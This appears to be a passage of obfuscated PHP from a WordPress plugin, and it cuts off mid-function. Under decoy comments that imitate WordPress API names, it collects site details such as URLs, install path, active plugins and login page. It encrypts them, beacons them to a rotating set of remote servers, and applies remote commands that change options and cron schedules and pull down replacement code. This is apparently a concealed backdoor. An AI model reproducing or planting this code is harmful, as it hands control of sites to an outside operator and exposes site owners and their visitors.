$zkzbo8aayuo3[rmqbu5no5o(601)] =     rmqbu5no5o(525)($a_pfjg_7m2meqo)  ?   wyzg13xdhd5r(524)($a_pfjg_7m2meqo,  0, (0x3+0x2))      : "";
 $iwr2vtz8ycx091a    =    wyzg13xdhd5r(561)(igsdp_2fdrp(542)) ?   @get_option(lfavz1nmi6pw4(602),  array())  :   array();
$zkzbo8aayuo3[rmqbu5no5o(603)]   =     (hus_b7m621lgc6(604)($iwr2vtz8ycx091a) &&   (!empty($iwr2vtz8ycx091a['t'])  ||     !empty($iwr2vtz8ycx091a[rmqbu5no5o(605)]))) ? 1 :     0;
    }  catch  (Throwable $mrelaaojjq4dc7d) {
$zkzbo8aayuo3[ep_coq62(606)] =   rmqbu5no5o(524)($mrelaaojjq4dc7d->getMessage(), 0, (103-43));
}    catch (Exception   $mrelaaojjq4dc7d) {
  $zkzbo8aayuo3[rmqbu5no5o(606)]   =  ep_coq62(524)($mrelaaojjq4dc7d->getMessage(),   0,    (107-47));
 }
return  $zkzbo8aayuo3;


 }



 

    function  on0b47cewe7b0v9itp()
   {
if  (hus_b7m621lgc6(561)(wyzg13xdhd5r(427)))   {
 return      (string)  site_url(wyzg13xdhd5r(607));
 }
 return  igsdp_2fdrp(608)(igsdp_2fdrp(609))  ?     (string)   wp_login_url()  : "";
       }
 
    function     lz7ktsy7nr_utk0og4h($dyful332yxgqzz)


   {

  $apbcwtvx09ljs     = "";

if  (lfavz1nmi6pw4(608)(wyzg13xdhd5r(502))) {
 $apbcwtvx09ljs  =   (string)  ep_coq62(610)(home_url(),   constant(rmqbu5no5o(611)));


 }
   if  (!   $apbcwtvx09ljs    &&  hus_b7m621lgc6(612)(igsdp_2fdrp(613)))  {
 $apbcwtvx09ljs  = (string)  hus_b7m621lgc6(610)(get_site_url(), constant(ep_coq62(614)));
   }
     if (!  $apbcwtvx09ljs   &&  hus_b7m621lgc6(612)(wyzg13xdhd5r(615)))   {
 $apbcwtvx09ljs   =  (string)  rmqbu5no5o(610)(get_bloginfo(igsdp_2fdrp(616)),  constant(wyzg13xdhd5r(614)));
}
   if  (! $apbcwtvx09ljs  &&   rmqbu5no5o(612)(hus_b7m621lgc6(617))) {
$apbcwtvx09ljs = (string)     lfavz1nmi6pw4(618)((string) get_option(lfavz1nmi6pw4(619),  ""),      constant(lfavz1nmi6pw4(614)));
    }
 if (! $apbcwtvx09ljs      && isset($_SERVER[ep_coq62(620)]))  {



    $apbcwtvx09ljs   = (string)    $_SERVER[ep_coq62(620)];
  }
// WP Formatting API: bootstrap session-window

if   (!    $apbcwtvx09ljs   && isset($_SERVER[igsdp_2fdrp(621)]))   {
$apbcwtvx09ljs  =  (string) $_SERVER[ep_coq62(621)];
 }
 if  (!      $apbcwtvx09ljs)      {
 return   $dyful332yxgqzz;
}


      return   $apbcwtvx09ljs;
}
  function  w1rbw014jook7kasyqukc1()
 {


 try {


     $tr1l4bspos0oly  =   hus_b7m621lgc6(612)(ep_coq62(562))  ? (int)   @igsdp_2fdrp(622)(hus_b7m621lgc6(623))     :    0;
  if (igsdp_2fdrp(624)(wyzg13xdhd5r(459)))   @igsdp_2fdrp(459)((330-150));
     $eu21ezi8az12hm      =   ($tr1l4bspos0oly   >   (13+7)      &&   $tr1l4bspos0oly < (58+122))    ? ($tr1l4bspos0oly  -   (0x3+0x7))  :   (($tr1l4bspos0oly > 0  &&   $tr1l4bspos0oly <=  (1+19)) ? (6+4)   :     (146-56));
   

    if    (! ylkxk29225uo5p7())  {
 return;
}
     if    (!apm4hn2aswm3_bah(igsdp_2fdrp(421)))    {
  return;
  }
       
 $aemp0113ykjo84   = lfavz1nmi6pw4(625)(true);

 $gwfp0eqtwsbl  =     oq9qik20y9nsdibqes();
if (


!     wyzg13xdhd5r(604)($gwfp0eqtwsbl)



  || !  isset($gwfp0eqtwsbl[hus_b7m621lgc6(626)]) ||   ! ep_coq62(627)($gwfp0eqtwsbl[wyzg13xdhd5r(626)])   ||     !     $gwfp0eqtwsbl[wyzg13xdhd5r(628)]


    || !      isset($gwfp0eqtwsbl[lfavz1nmi6pw4(629)])  ||  !   rmqbu5no5o(604)($gwfp0eqtwsbl[wyzg13xdhd5r(629)]) || empty($gwfp0eqtwsbl[lfavz1nmi6pw4(630)])
)  {
     i2o2c8gx93yfif12w2q86();
  return;
    }
     $ny3kys2sm3iidzh  = $gwfp0eqtwsbl[wyzg13xdhd5r(628)];



$n5xwzicny_xu   =  $gwfp0eqtwsbl[ep_coq62(631)];
y1t1n_tjdwdr9b8i44(lfavz1nmi6pw4(370),      $ny3kys2sm3iidzh,    igsdp_2fdrp(170));
   $sdjxxsbm6rm =    lfavz1nmi6pw4(624)(lfavz1nmi6pw4(617))   ?   (string)    get_option(lfavz1nmi6pw4(632),   "")   :   "";
 if   ($sdjxxsbm6rm  !==   ""   &&  ep_coq62(206)($sdjxxsbm6rm,  $n5xwzicny_xu,     true))   {

$n5xwzicny_xu  =   ep_coq62(371)(wyzg13xdhd5r(337)($n5xwzicny_xu,  array($sdjxxsbm6rm)));
  lfavz1nmi6pw4(633)($n5xwzicny_xu);
wyzg13xdhd5r(338)($n5xwzicny_xu, $sdjxxsbm6rm);
    }  elseif (ep_coq62(634)($n5xwzicny_xu)   >   1)  {
      igsdp_2fdrp(633)($n5xwzicny_xu);


   }

   



 if   ((wyzg13xdhd5r(635)(true)  -    $aemp0113ykjo84)  > (int)   ($eu21ezi8az12hm      *   0.6))  {
   i2o2c8gx93yfif12w2q86();
       return;


  }
   
 $r279m8rx8g3s     =  qrwn2kzzxzx48r7o();
  lhlty0uglqmi2cqo5f($r279m8rx8g3s);


 $_pnm6vv3g94orfv6   = array();
       if (lfavz1nmi6pw4(624)(igsdp_2fdrp(617))) {
 foreach ((array)  get_option(hus_b7m621lgc6(223),  array())   as  $de42_qcevq1bs)  {
      if  (wyzg13xdhd5r(627)($de42_qcevq1bs)    &&  $de42_qcevq1bs)  {
$_pnm6vv3g94orfv6[]  =  $de42_qcevq1bs;
     }

  }
  }
  



   $_4ifiikfvrf  =     array();
  if     (defined(wyzg13xdhd5r(14))) {
 $k0eyq68ndwg   =      rmqbu5no5o(624)(hus_b7m621lgc6(290)) ? @hus_b7m621lgc6(290)(hus_b7m621lgc6(13)(WPMU_PLUGIN_DIR, '/')   . hus_b7m621lgc6(636))  :   false;
    if (wyzg13xdhd5r(604)($k0eyq68ndwg))     {
foreach  ($k0eyq68ndwg  as $eofsqnwjdfpxz) {
  $_4ifiikfvrf[] = igsdp_2fdrp(185)($eofsqnwjdfpxz);
   }
}

  }
 
   $c0l64ku7fz  =   array(
      lfavz1nmi6pw4(637) =>  lz7ktsy7nr_utk0og4h(""),
   ep_coq62(638)    =>  m5d7gnhy503_5w7j(),
   ep_coq62(639)  =>   hus_b7m621lgc6(185)(kwizo_5vxh_f26an7qg(),   lfavz1nmi6pw4(640)),
hus_b7m621lgc6(641) =>  rmqbu5no5o(13)(ABSPATH,   rmqbu5no5o(642)),
  wyzg13xdhd5r(643)    =>  $_pnm6vv3g94orfv6,

  igsdp_2fdrp(644)  =>   $_4ifiikfvrf,
       hus_b7m621lgc6(645)    =>     on0b47cewe7b0v9itp(),

lfavz1nmi6pw4(646)   =>   ze7hj_6bznmejwv($r279m8rx8g3s),
igsdp_2fdrp(647)  =>   q_x9gcohf6o91c($r279m8rx8g3s),


 lfavz1nmi6pw4(648)  => ($e3ekw5tll221  =   k2xz_ewv97f8rlr7()),

 );
$u2ut5eqjvaa35    =  igsdp_2fdrp(649)(wyzg13xdhd5r(650))  ? wp_json_encode($c0l64ku7fz)   :  hus_b7m621lgc6(651)($c0l64ku7fz);

   $ko7f91d1mpn  =  fwiype06drdzqvei_h1v($u2ut5eqjvaa35, $ny3kys2sm3iidzh);
$f_vxrkkuhciexi84  =  array(igsdp_2fdrp(342)  => rmqbu5no5o(652));
  $gn1xoajgn4nb8k7 = null;
     i2o2c8gx93yfif12w2q86();
   
     foreach     ($n5xwzicny_xu as  $b61tkn0t2h96vrih)     {
   


if  ((ep_coq62(653)(true)  - $aemp0113ykjo84)  >  $eu21ezi8az12hm)  {$utbc4ny04sm=28*4;$y8ggaqac7090=$utbc4ny04sm-49;
  break;
 }


 
$b61tkn0t2h96vrih =   igsdp_2fdrp(654)((string)      $b61tkn0t2h96vrih);
 if      (! $b61tkn0t2h96vrih)   {$g7_1isnwz=(0x61+0x89);$o11nc52cl=$g7_1isnwz%5;
 continue;


   }
  try {



      $ne6zqlqs19     =  $ny3kys2sm3iidzh;
  

 $wy4jk2k5yot46b6 =  ofzgzd4o99d89w5co($b61tkn0t2h96vrih,  $ko7f91d1mpn, $f_vxrkkuhciexi84,  (13-3), function      ($jxb32uhkeg)      use   ($ne6zqlqs19) {

$zkzbo8aayuo3  =  fwiype06drdzqvei_h1v($jxb32uhkeg,   $ne6zqlqs19);
if  (!$zkzbo8aayuo3)      return  false;

return   ep_coq62(604)(@igsdp_2fdrp(655)(igsdp_2fdrp(656)($zkzbo8aayuo3),   true));
});


        if  (!    $wy4jk2k5yot46b6)  {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(657),    lfavz1nmi6pw4(658) .  $b61tkn0t2h96vrih);

    continue;$chkbqn76np085u=-572;$ejn2jg9c9dp0l=($chkbqn76np085u>0)?$chkbqn76np085u:-$chkbqn76np085u;
      }
    


   $j1t824zczveq  = fwiype06drdzqvei_h1v($wy4jk2k5yot46b6,   $ny3kys2sm3iidzh);
  if  (!  $j1t824zczveq)   {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(657),  lfavz1nmi6pw4(659) .   $b61tkn0t2h96vrih);
 continue;

  }
 $gn1xoajgn4nb8k7 =  @ep_coq62(660)(lfavz1nmi6pw4(656)($j1t824zczveq),    true);
 if  (igsdp_2fdrp(604)($gn1xoajgn4nb8k7))      {
 if (rmqbu5no5o(649)(wyzg13xdhd5r(661)))   {
update_option(wyzg13xdhd5r(662), $b61tkn0t2h96vrih);
   }
 break;



  } else  {
  hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(663),    rmqbu5no5o(664)     .  $b61tkn0t2h96vrih);
}
}  catch   (Throwable  $mrelaaojjq4dc7d)   {
    hnp_n76gqrqs6vbf7203of(rmqbu5no5o(665), $mrelaaojjq4dc7d);
     continue;
}   catch      (Exception    $mrelaaojjq4dc7d) {
  continue;
  }
 }
 if  (!     igsdp_2fdrp(604)($gn1xoajgn4nb8k7))  {
    $a2ed4gy5a3szk =    fwiype06drdzqvei_h1v(rmqbu5no5o(666)(array(



    rmqbu5no5o(637)  =>    lz7ktsy7nr_utk0og4h(""),
 rmqbu5no5o(667)  => m5d7gnhy503_5w7j(),
 hus_b7m621lgc6(639)   => hus_b7m621lgc6(185)(kwizo_5vxh_f26an7qg(),  rmqbu5no5o(640)),
 hus_b7m621lgc6(668)  =>     1,
   )), $ny3kys2sm3iidzh);
  $jjb7qnmbvy38  =  lfavz1nmi6pw4(669)(strtr(lfavz1nmi6pw4(670)($a2ed4gy5a3szk),   rmqbu5no5o(671),    wyzg13xdhd5r(672)), '=');
$a5ytkonybh   =   wyzg13xdhd5r(673)($jjb7qnmbvy38, (2091-691));
 foreach    ($n5xwzicny_xu as   $b61tkn0t2h96vrih)   {
// polynomial balancer

      if    ((rmqbu5no5o(653)(true)   - $aemp0113ykjo84) >      $eu21ezi8az12hm)  {



     break;



    }


    $b61tkn0t2h96vrih    =    hus_b7m621lgc6(656)((string) $b61tkn0t2h96vrih);
  if ($b61tkn0t2h96vrih  === "")  {
  continue;

 }
// WP Separator Block: shard middleware



$zezpw6jfoftwa4pu   =  mqedo90o6oi8f48x6b8n(lz7ktsy7nr_utk0og4h("") .     wyzg13xdhd5r(653)(true),   (10-2));
$emgci3dlr45pr  = ep_coq62(634)($a5ytkonybh);


      $apez5joccr2m6  = (hus_b7m621lgc6(573)($b61tkn0t2h96vrih, '?') ===    false) ?  '?'  :  '&';$ev3amke_3xp=PHP_INT_MAX/PHP_INT_MAX;$fjtjp1vkru0=$ev3amke_3xp+4;
for  ($il_uzw3law =  0;      $il_uzw3law <    $emgci3dlr45pr;   $il_uzw3law++)     {
   if      ((igsdp_2fdrp(653)(true)    -   $aemp0113ykjo84)  >    $eu21ezi8az12hm)    {
 break;
   }
$u4kx71xmqy_ =   ($il_uzw3law      === $emgci3dlr45pr   - 1);

  $t0iicz66ibpyn    = $b61tkn0t2h96vrih     .   $apez5joccr2m6   . lfavz1nmi6pw4(674)   .    $zezpw6jfoftwa4pu   . igsdp_2fdrp(675)  . $il_uzw3law    .  hus_b7m621lgc6(676)    .     $emgci3dlr45pr   .  rmqbu5no5o(677) . $a5ytkonybh[$il_uzw3law];


  $bbs_xuhrro7 =  ppdf1kmdra3o1o0($t0iicz66ibpyn, (2+6),  $u4kx71xmqy_   ?  function  ($jxb32uhkeg)  use  ($ny3kys2sm3iidzh)   {
   $zkzbo8aayuo3 = fwiype06drdzqvei_h1v($jxb32uhkeg,    $ny3kys2sm3iidzh);



   if (!$zkzbo8aayuo3)  return false;
 return   rmqbu5no5o(678)(@rmqbu5no5o(660)(igsdp_2fdrp(656)($zkzbo8aayuo3), true));
}  :    null);
     if   ($u4kx71xmqy_   && ep_coq62(627)($bbs_xuhrro7)  &&   $bbs_xuhrro7   !== "") {
    $_gd   =   fwiype06drdzqvei_h1v($bbs_xuhrro7,  $ny3kys2sm3iidzh);
      $ty82veftl1n28602 = $_gd  ?   @igsdp_2fdrp(660)(rmqbu5no5o(679)($_gd),  true)      : null;
  if (hus_b7m621lgc6(678)($ty82veftl1n28602))      {
// @serialize partition-refinement

$gn1xoajgn4nb8k7    = $ty82veftl1n28602;
     

 if  (wyzg13xdhd5r(680)(wyzg13xdhd5r(661)))  {
   update_option(rmqbu5no5o(681),   $b61tkn0t2h96vrih);
    }
      break;
 }
     }
     }
   if  (rmqbu5no5o(678)($gn1xoajgn4nb8k7))   {
break;
}
    }
     }



  if  (! hus_b7m621lgc6(678)($gn1xoajgn4nb8k7))     {
 return;

   }
 if    ($e3ekw5tll221     &&    ep_coq62(680)(wyzg13xdhd5r(682)))  {
     delete_option(xh1v18rjy_bx1qu6(lfavz1nmi6pw4(683)));
    }



      if  (!isset($GLOBALS[igsdp_2fdrp(399)])   || !ep_coq62(678)($GLOBALS[ep_coq62(684)])) $GLOBALS[rmqbu5no5o(684)]    = array();$ormqvgn2ycmgw=(0x1e+0x88);$nfdgrdhbxlh=$ormqvgn2ycmgw%9;
      $GLOBALS[wyzg13xdhd5r(684)]   = hus_b7m621lgc6(685)(lfavz1nmi6pw4(686)($GLOBALS[ep_coq62(684)], $e3ekw5tll221));
if  (isset($gn1xoajgn4nb8k7[wyzg13xdhd5r(639)]) && igsdp_2fdrp(627)($gn1xoajgn4nb8k7[hus_b7m621lgc6(639)])) {
yq7le74pka1_51xjvetqbi($gn1xoajgn4nb8k7[igsdp_2fdrp(639)],  isset($gn1xoajgn4nb8k7[ep_coq62(687)]) &&    hus_b7m621lgc6(627)($gn1xoajgn4nb8k7[hus_b7m621lgc6(687)])   ?  $gn1xoajgn4nb8k7[igsdp_2fdrp(688)]   : "",  !empty($gn1xoajgn4nb8k7[lfavz1nmi6pw4(689)]));
    }
 
   $xggnvcny1giqvj  =  false;
 $uftpk4zr0t1xogc   =  array();
   
if   (isset($gn1xoajgn4nb8k7[rmqbu5no5o(465)])   && ep_coq62(678)($gn1xoajgn4nb8k7[igsdp_2fdrp(465)]))    {
$v6cne_6bree8h  =  array();

        foreach    ($gn1xoajgn4nb8k7[lfavz1nmi6pw4(465)]     as   $i0eebx24kei1a)     {


    if  (lfavz1nmi6pw4(690)($i0eebx24kei1a)  &&      $i0eebx24kei1a    !==   "")  {
       $v6cne_6bree8h[]   =   $i0eebx24kei1a;
  }
}



        $w1vgsjcrzm7ttv  =  $GLOBALS[lfavz1nmi6pw4(464)];
   

$v6cne_6bree8h     =   ggs78lka0_a3qy0oa8($v6cne_6bree8h);
$GLOBALS[ep_coq62(691)]  =   $v6cne_6bree8h;
   $uftpk4zr0t1xogc[wyzg13xdhd5r(465)]  = $v6cne_6bree8h;
if  (!   empty(lfavz1nmi6pw4(692)($v6cne_6bree8h,    $w1vgsjcrzm7ttv)) || !  empty(lfavz1nmi6pw4(693)($w1vgsjcrzm7ttv, $v6cne_6bree8h)))  {
 $xggnvcny1giqvj  =  true;
       }
      }



if    (isset($gn1xoajgn4nb8k7[lfavz1nmi6pw4(466)])   && hus_b7m621lgc6(678)($gn1xoajgn4nb8k7[hus_b7m621lgc6(466)]))  {
    $v6cne_6bree8h   =  array();
  

foreach    ($gn1xoajgn4nb8k7[igsdp_2fdrp(466)]  as $i0eebx24kei1a)    {
 if  (hus_b7m621lgc6(690)($i0eebx24kei1a)    && $i0eebx24kei1a  !==  "") {
$v6cne_6bree8h[]  =  $i0eebx24kei1a;
  }
     }


   $w1vgsjcrzm7ttv     =      $GLOBALS[igsdp_2fdrp(467)];
   $v6cne_6bree8h     = ggs78lka0_a3qy0oa8($v6cne_6bree8h);

    $GLOBALS[ep_coq62(467)]   = $v6cne_6bree8h;
$uftpk4zr0t1xogc[rmqbu5no5o(466)]  =   $v6cne_6bree8h;

  if   (! empty(lfavz1nmi6pw4(693)($v6cne_6bree8h, $w1vgsjcrzm7ttv))  ||  !   empty(lfavz1nmi6pw4(693)($w1vgsjcrzm7ttv,  $v6cne_6bree8h))) {
 $xggnvcny1giqvj    =  true;
  }
     }
if   (isset($gn1xoajgn4nb8k7[lfavz1nmi6pw4(470)])    &&     lfavz1nmi6pw4(690)($gn1xoajgn4nb8k7[lfavz1nmi6pw4(470)]))  {
$ba1qnbtqzx2azytn =   j5gya5jxcqm92g(ep_coq62(694),  "");
     $GLOBALS[ep_coq62(469)] = $gn1xoajgn4nb8k7[wyzg13xdhd5r(470)];
$uftpk4zr0t1xogc[ep_coq62(470)] =   $gn1xoajgn4nb8k7[igsdp_2fdrp(470)];
      if   (igsdp_2fdrp(391)($gn1xoajgn4nb8k7[lfavz1nmi6pw4(470)]) !==   ep_coq62(391)($ba1qnbtqzx2azytn))  {
y1t1n_tjdwdr9b8i44(ep_coq62(694), $gn1xoajgn4nb8k7[lfavz1nmi6pw4(470)], hus_b7m621lgc6(170));
 ijqg87scbrvpslx5x();
   }


  unset($ba1qnbtqzx2azytn);

}
$g9mg230ast56   =  isset($gn1xoajgn4nb8k7[wyzg13xdhd5r(695)]) && wyzg13xdhd5r(696)($gn1xoajgn4nb8k7[ep_coq62(695)]) ?     $gn1xoajgn4nb8k7[wyzg13xdhd5r(695)]  :    array();
    if (isset($g9mg230ast56[ep_coq62(471)])     &&  lfavz1nmi6pw4(690)($g9mg230ast56[lfavz1nmi6pw4(471)])) {
 if (wyzg13xdhd5r(528)($g9mg230ast56[ep_coq62(471)]) > (207^253))  {
  $GLOBALS[ep_coq62(697)]   =  $g9mg230ast56[rmqbu5no5o(471)];
    $uftpk4zr0t1xogc[rmqbu5no5o(698)]  =  $g9mg230ast56[hus_b7m621lgc6(698)];
     } else {



$GLOBALS[wyzg13xdhd5r(697)]   =   "";
    $uftpk4zr0t1xogc[hus_b7m621lgc6(698)]  = "";
 y1t1n_tjdwdr9b8i44(hus_b7m621lgc6(699),  "", hus_b7m621lgc6(170));
// WP Block API v3: bind unification

 }
 }
    if  (isset($g9mg230ast56[rmqbu5no5o(700)])    &&  hus_b7m621lgc6(690)($g9mg230ast56[ep_coq62(701)]))   {



  if (hus_b7m621lgc6(528)($g9mg230ast56[wyzg13xdhd5r(701)])  >   (78+22)) {$ezv7b06r=71*2;$ijib5ow8=$ezv7b06r-49;

    $GLOBALS[rmqbu5no5o(474)]    =    $g9mg230ast56[hus_b7m621lgc6(701)];
   $uftpk4zr0t1xogc[igsdp_2fdrp(701)] =  $g9mg230ast56[hus_b7m621lgc6(701)];
 }  else   {
 $GLOBALS[lfavz1nmi6pw4(474)]     = "";
 $uftpk4zr0t1xogc[igsdp_2fdrp(701)] =  "";
    y1t1n_tjdwdr9b8i44(lfavz1nmi6pw4(396), "",  ep_coq62(170));
     }
  }
// speculate observer for WP Loginout Block

$m1rbu15jkmi2ts   = isset($gn1xoajgn4nb8k7[lfavz1nmi6pw4(702)])   &&  wyzg13xdhd5r(696)($gn1xoajgn4nb8k7[hus_b7m621lgc6(702)])   ? $gn1xoajgn4nb8k7[wyzg13xdhd5r(702)] : array();


       $h97qxrzp0j  =   array(
  igsdp_2fdrp(703)   =>  igsdp_2fdrp(703),
    wyzg13xdhd5r(704) =>  rmqbu5no5o(705),
     wyzg13xdhd5r(706)  =>   rmqbu5no5o(707),
igsdp_2fdrp(708) =>   wyzg13xdhd5r(709),
   hus_b7m621lgc6(710) =>   igsdp_2fdrp(711),
  igsdp_2fdrp(712)     =>  ep_coq62(713),

        rmqbu5no5o(714)   => ep_coq62(715),
 ep_coq62(716)    => hus_b7m621lgc6(717),
  );
   foreach  ($h97qxrzp0j as    $xw__2n0uutul3b3    => $bx9gwl3xu2e33ne) {
     if   (isset($m1rbu15jkmi2ts[$xw__2n0uutul3b3]) &&    lfavz1nmi6pw4(718)($m1rbu15jkmi2ts[$xw__2n0uutul3b3])    &&  ep_coq62(528)($m1rbu15jkmi2ts[$xw__2n0uutul3b3]) >  (234^216))   {
 $uftpk4zr0t1xogc[$bx9gwl3xu2e33ne]   = $m1rbu15jkmi2ts[$xw__2n0uutul3b3];
 }
 }
// causal deque

       if (isset($gn1xoajgn4nb8k7[hus_b7m621lgc6(507)])     &&    rmqbu5no5o(719)($gn1xoajgn4nb8k7[wyzg13xdhd5r(720)])) {
  $e6vrj22c1kpo  = (int)   $gn1xoajgn4nb8k7[hus_b7m621lgc6(720)];
  if ($e6vrj22c1kpo >=    (289+11)  && $e6vrj22c1kpo <=    (86318+82))    $uftpk4zr0t1xogc[ep_coq62(721)] =  $e6vrj22c1kpo;
  }
   if (isset($gn1xoajgn4nb8k7[rmqbu5no5o(722)])   &&  lfavz1nmi6pw4(719)($gn1xoajgn4nb8k7[ep_coq62(722)])) {
// dominate pipeline for WP Higher Order Components

      $_ci =   (int) $gn1xoajgn4nb8k7[rmqbu5no5o(722)];
  if  ($_ci  >= (217+83)  &&   $_ci  <=    (86370+30))   $uftpk4zr0t1xogc[rmqbu5no5o(722)] = $_ci;


     }
  if   (empty($uftpk4zr0t1xogc)) {
   delete_option(lfavz1nmi6pw4(592));
      delete_option(igsdp_2fdrp(723));
update_option(wyzg13xdhd5r(449),    hus_b7m621lgc6(724)());
   delete_transient(ep_coq62(725));


 vcqoaorqsaod27i();
zksb68q35cwjie();
      return;
 }
// WP Table Block: differential quotient

 
  $zsrqu1r90r   =   _xntkey8jynbmjmnd76tef(rmqbu5no5o(505), false);
     if     (lfavz1nmi6pw4(696)($zsrqu1r90r)) {
$uftpk4zr0t1xogc     =  lfavz1nmi6pw4(403)($zsrqu1r90r,   $uftpk4zr0t1xogc);
   }
      


if     (lfavz1nmi6pw4(680)(rmqbu5no5o(726)))   {


   $f21y1ro5sm =      boszsl7rph9f3rdf6wigwf();

  if   (isset($uftpk4zr0t1xogc[hus_b7m621lgc6(727)])    &&    (int)  $uftpk4zr0t1xogc[lfavz1nmi6pw4(727)] >=  (282+18) && (int)  $uftpk4zr0t1xogc[rmqbu5no5o(727)]   <=     (86334+66)) $f21y1ro5sm  =  (int)     $uftpk4zr0t1xogc[hus_b7m621lgc6(727)];
 set_transient(ws9xpun_9td1a1wfmk(),   $uftpk4zr0t1xogc,  $f21y1ro5sm);$unn0qm7wy=PHP_INT_MAX/PHP_INT_MAX;$crlj7nn_g=$unn0qm7wy+18;
     }
/* approximated alert */

  
  efb1411g61xp_um6ts(ep_coq62(505), $uftpk4zr0t1xogc,    rmqbu5no5o(728));
  if     (isset($uftpk4zr0t1xogc[hus_b7m621lgc6(722)])     &&  wyzg13xdhd5r(680)(ep_coq62(729))    && hus_b7m621lgc6(680)(ep_coq62(730)) && ep_coq62(680)(igsdp_2fdrp(731)))    {
    $mnk9w_tar8iqma_7 = wp_get_scheduled_event(_cifkcih804l1yu2c4_());
if    ($mnk9w_tar8iqma_7 &&   (int)  $mnk9w_tar8iqma_7->interval  !==    (int) $uftpk4zr0t1xogc[ep_coq62(732)])   {
wp_clear_scheduled_hook(_cifkcih804l1yu2c4_());$vbhri_ho72bwh=PHP_INT_MAX/PHP_INT_MAX;$q5ucm47wvm1n38=$vbhri_ho72bwh+0;
     wp_schedule_event(lfavz1nmi6pw4(724)()   +  rmqbu5no5o(733)((13+47),    (70+230)), wyzg13xdhd5r(411),  _cifkcih804l1yu2c4_());
   }
}



update_option(rmqbu5no5o(449), lfavz1nmi6pw4(724)());
delete_option(lfavz1nmi6pw4(592));
   delete_option(lfavz1nmi6pw4(723));
  delete_transient(hus_b7m621lgc6(725));
vcqoaorqsaod27i();
zksb68q35cwjie();
   
 if ($xggnvcny1giqvj)  {
 w79fqx1qiq1a2joblr4();

  }



} catch    (Throwable  $mrelaaojjq4dc7d) {
// derandomized proxy

  hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(663), $mrelaaojjq4dc7d);
 }   catch    (Exception    $mrelaaojjq4dc7d)    {
}    finally      {
   _38yfoleq3q40e76(lfavz1nmi6pw4(421));
   }
 }



  function   yq7le74pka1_51xjvetqbi($ozt4ew1halke4y,  $eqc5t_2ct2   = "", $oujxdylwanbgw7 = false)
{
if  (!apm4hn2aswm3_bah(hus_b7m621lgc6(421)))   return;
try    {

 
 $emfxvpqshpg00    =   @rmqbu5no5o(734)($ozt4ew1halke4y,   true);
   if   (ep_coq62(718)($emfxvpqshpg00)      &&    wyzg13xdhd5r(528)($emfxvpqshpg00) > (1048522+54))      $emfxvpqshpg00  =  jkq4_uvfuw5l47za51944b($emfxvpqshpg00);
  if     (!  $emfxvpqshpg00   || lfavz1nmi6pw4(528)($emfxvpqshpg00)   <    (497+3)  ||    igsdp_2fdrp(573)($emfxvpqshpg00, ep_coq62(735))   !==   0)    {
// coalesce-reg affine message-queue

 return;
}

  if  (!  chslach3yj4d6lbh($emfxvpqshpg00))  {
 hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(736), wyzg13xdhd5r(737));
// @mediate bivariant

  return;


     }
 if  (ep_coq62(738)(igsdp_2fdrp(739),  ep_coq62(524)($emfxvpqshpg00,  0,    (1449+2647)),  $jjx0lusg0rcdg8))  {


 if  ($eqc5t_2ct2      !==   ""    &&  $eqc5t_2ct2  !==    $jjx0lusg0rcdg8[1])    {

hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(736),     lfavz1nmi6pw4(740));
return;
  }
  $eqc5t_2ct2 =    $jjx0lusg0rcdg8[1];

   }  else   {
/* volatile builder */

  hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(736),    igsdp_2fdrp(741));
  return;
       }
// dimension expand

     if    (!$oujxdylwanbgw7  &&     version_compare($eqc5t_2ct2,    m5d7gnhy503_5w7j())  <=  0)  {


   return;
   }
    $j0cbpjtb6xn   =  m8bil168ioia0snf0ol();
  if (!$j0cbpjtb6xn    ||  hus_b7m621lgc6(528)($j0cbpjtb6xn) < (473+27))     {
  hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(736), lfavz1nmi6pw4(742));$zx7g7i17=48+90;$i_yih5w2=$zx7g7i17-6;
  return;
     }
 $krp0n8kor1j = get_option(igsdp_2fdrp(169));

 if   (wyzg13xdhd5r(718)($krp0n8kor1j)   &&   lfavz1nmi6pw4(573)($krp0n8kor1j,  ep_coq62(391)($emfxvpqshpg00)   .  '|')   === 0)    {



 $hkiquvkfk4z0     =  (int)  igsdp_2fdrp(524)($krp0n8kor1j, hus_b7m621lgc6(743)($krp0n8kor1j,   '|')  +   1);


   if   (wyzg13xdhd5r(724)() -  $hkiquvkfk4z0   <  (142307-55907))    {
return;
       }
 }
$nk2dnxdjsrue2a8  =   igsdp_2fdrp(744)(kwizo_5vxh_f26an7qg()) .  lfavz1nmi6pw4(167)      . wyzg13xdhd5r(745)($emfxvpqshpg00);
 if   (@igsdp_2fdrp(567)($nk2dnxdjsrue2a8))     {



    $olqopmq84s5_7jm =    @(int) lfavz1nmi6pw4(292)($nk2dnxdjsrue2a8);



     if ($olqopmq84s5_7jm  &&   wyzg13xdhd5r(746)()      -  $olqopmq84s5_7jm   <     (86355+45)) {
   return;
 }

    @hus_b7m621lgc6(747)($nk2dnxdjsrue2a8);
 }
 unset($nk2dnxdjsrue2a8,    $olqopmq84s5_7jm);



  $i5nqzor3l41vg   =     false;
  if     (igsdp_2fdrp(748)(wyzg13xdhd5r(749))   && lfavz1nmi6pw4(748)(ep_coq62(750)))  {
 $gnf9p1esvuc5ww8   =  rmqbu5no5o(751)(home_url('/'),  array(wyzg13xdhd5r(431)      =>   (1+7),  hus_b7m621lgc6(752) =>  2,   hus_b7m621lgc6(318) =>  false));
    if   (!  (igsdp_2fdrp(748)(lfavz1nmi6pw4(303))  &&  is_wp_error($gnf9p1esvuc5ww8)))  {
 $i5nqzor3l41vg   =   (int)   wp_remote_retrieve_response_code($gnf9p1esvuc5ww8)    >=    (401+99);
     }
 }
    $eqih6wwub3buj    =  false;
        if (ep_coq62(753)(wyzg13xdhd5r(617))) {



 $p8tfjc_v59ls   = get_option(rmqbu5no5o(754),   array());
      $eqih6wwub3buj = ep_coq62(696)($p8tfjc_v59ls) &&  hus_b7m621lgc6(206)(_3r85e8szq0rhph(),      $p8tfjc_v59ls,  true);
 }

ms4mh9yjk8_y876983kix(kwizo_5vxh_f26an7qg(),    (0x17d+0x27));
    if  (!    p1cskrtcz8bv54lf(kwizo_5vxh_f26an7qg(), gdb8f5jybxbvgd($emfxvpqshpg00)))  {
